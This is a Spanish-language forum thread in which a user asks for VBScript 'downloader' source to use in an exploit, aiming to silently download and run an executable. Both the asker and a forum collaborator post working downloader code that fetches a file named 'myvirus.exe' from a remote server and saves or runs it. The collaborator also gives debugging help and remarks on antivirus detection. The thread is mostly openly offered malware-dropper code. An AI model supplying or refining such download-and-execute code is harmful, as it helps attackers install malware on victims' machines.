 Autor
|
Tema: Downloader en VBScript, ayuda. (Leído 5,611 veces)
|
akrana
 Desconectado
Mensajes: 36
|
Hola, estoy tratando de encontrar el codigo fuente de un downloader en VBScript para utilizarlo en un exploit, de momento tengo esto, pero me salta un error... Sub Main()
On Error Resume Next
Set wsl = CreateObject("WScript.Shell")
bd = DowloadFile("http://www.myserver.com/myvirus.exe","c:\v.exe")
If bd = True Then wsl.run "c:\v.exe"
End Sub
Function DowloadFile(Url,Path)
On Error Resume Next: Err.Clear
Set xml = CreateObject("Microsoft.XMLHTTP")
Set ads = CreateObject("ADODB.Stream")
xml.Open "GET", Url, False
xml.Send
ads.Mode = 3
ads.Type = 1
ads.Open
ads.Write(xml.ResponseBody)
ads.SaveToFile(Path,2)
If Err Then DownloadFile = False Else DowloadFile = True
End Function
Necesito descargar y ejecutar un exe silenciosamente por medio de VBScript, pero este codigo no funciona...Si alguien lo puede revisar y decirme como lo puedo hacer se lo agradeceria. No es totalmente indispensable que sea en VBScript, tambien puede ser en BATCH o por medio de una shellcode, pero no me aclaro... Un saludo, gracias.
|
|
|
|
|
En línea
|
|
|
|
Novlucker
Ninja y
Colaborador
Desconectado
Mensajes: 10.683
Yo que tu lo pienso dos veces
|
Quitale el Sub Main() y End Sub, línea 1 y 9 respectivamente  , pero de cualquier manera debo de advertirte que ADODB.Stream es MUY detectado por los AV Saludos
|
|
|
|
|
En línea
|
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
"Hay dos cosas infinitas: el Universo y la estupidez humana. Y de la primera no estoy muy seguro." Albert Einstein |
|
|
akrana
Desconectado
Mensajes: 36
|
Me sigue saltando error: No se pueden utilizar parentesis al llamar a Sub. Cual puede ser el fallo?
Estoy buscando algun otro metodo sencillo pero no encuentro nada...No se como hacerlo, porque en batch?
Un saludo y muchas gracias!!
|
|
|
|
|
En línea
|
|
|
|
Novlucker
Ninja y
Colaborador
Desconectado
Mensajes: 10.683
Yo que tu lo pienso dos veces
|
Ya he visto el problema .. intentalo así que es más sencillo (mismo método) Set objxmlhttp = CreateObject("Microsoft.XMLHTTP") objxmlhttp.Open "GET","http://www.myserver.com/myvirus.exe",0 objxmlhttp.Send() Do until objxmlhttp.readystate = 4 wscript.sleep 200 Loop Folder = replace(Wscript.scriptfullname,Wscript.scriptname,"") Set objADO = CreateObject("ADODB.Stream") objADO.Mode = 3 objADO.Type = 1 objADO.Open() objADO.Write(objxmlhttp.responseBody) objADO.SaveToFile Folder & "\calc.exe",2
Saludos |
|
|
|
« Última modificación: 17 Julio 2009, 04:37 am por Novlucker »
|
En línea
|
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
"Hay dos cosas infinitas: el Universo y la estupidez humana. Y de la primera no estoy muy seguro." Albert Einstein |
|
|
akrana
Desconectado
Mensajes: 36
|
Lo acabo de probar y no tira ningun error pero el archivo no aparece por ninguna parte...Lo estoy probando con la calculadora de windows para mas info...
No encuentro el fallo, se podria hacer de alguna otra manera?
Un saludo y muchas gracias!
|
|
|
|
|
En línea
|
|
|
|
Novlucker
Ninja y
Colaborador
Desconectado
Mensajes: 10.683
Yo que tu lo pienso dos veces
|
Pero la calculadora la has subido a algún servidor? Revisa en C:
Sino intenta de nuevo .. he modificado el code para que espere a que el archivo se haya bajado completamente, y que la calculadora aparezca en la misma ruta que el script
Saludos
|
|
|
|
|
En línea
|
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
"Hay dos cosas infinitas: el Universo y la estupidez humana. Y de la primera no estoy muy seguro." Albert Einstein |
|
|
akrana
Desconectado
Mensajes: 36
|
La calculadora esta subida a un server y he revisaco C: y no aparece por ninguna parte...nose cual puede ser el problema, pruebo este nuevo y te digo, de todas formas muchas gracias por la ayuda...
Un saludo
|
|
|
|
|
En línea
|
|
|
|
|
|
akrana
Desconectado
Mensajes: 36
|
No funciono...  Bueno, voy a leer esto aver si soy capaz de echar la calculadora a andar... Un saludo y muchisimas gracias por la ayuda!!! |
|
|
|
|
En línea
|
|
|
|
Novlucker
Ninja y
Colaborador
Desconectado
Mensajes: 10.683
Yo que tu lo pienso dos veces
|
La verdad ya no se ... los scripts estan bien ... solo aclarar que los que he dejado solo bajan, no ejecutan nada .. y por otra parte ,... has cambiado bien la URL en el script  Saludos |
|
|
|
|
En línea
|
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
"Hay dos cosas infinitas: el Universo y la estupidez humana. Y de la primera no estoy muy seguro." Albert Einstein |
|
|
|
| Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
|
[VBScript] Ayuda sobre CLASS
Scripting
|
SuperDraco
|
4
|
4,523
|
4 Marzo 2011, 17:07 pm
por Novlucker
|
|
|
|
ayuda con especie de mp3 downloader page
Desarrollo Web
|
asdexiva
|
4
|
2,294
|
2 Noviembre 2013, 17:37 pm
por asdexiva
|
|
|
|
PasteBin Downloader VBScript
Scripting
|
xXSCORPIOXx
|
1
|
2,422
|
18 Marzo 2014, 16:30 pm
por BigBear
|
|
|
|
Ayuda vbscript
Scripting
|
.:: KsV ::.
|
3
|
2,753
|
22 Enero 2015, 08:50 am
por .:: KsV ::.
|
|
|
|
Ayuda Vbscript
Scripting
|
.:: KsV ::.
|
3
|
2,619
|
27 Enero 2015, 15:41 pm
por .:: KsV ::.
|
 |
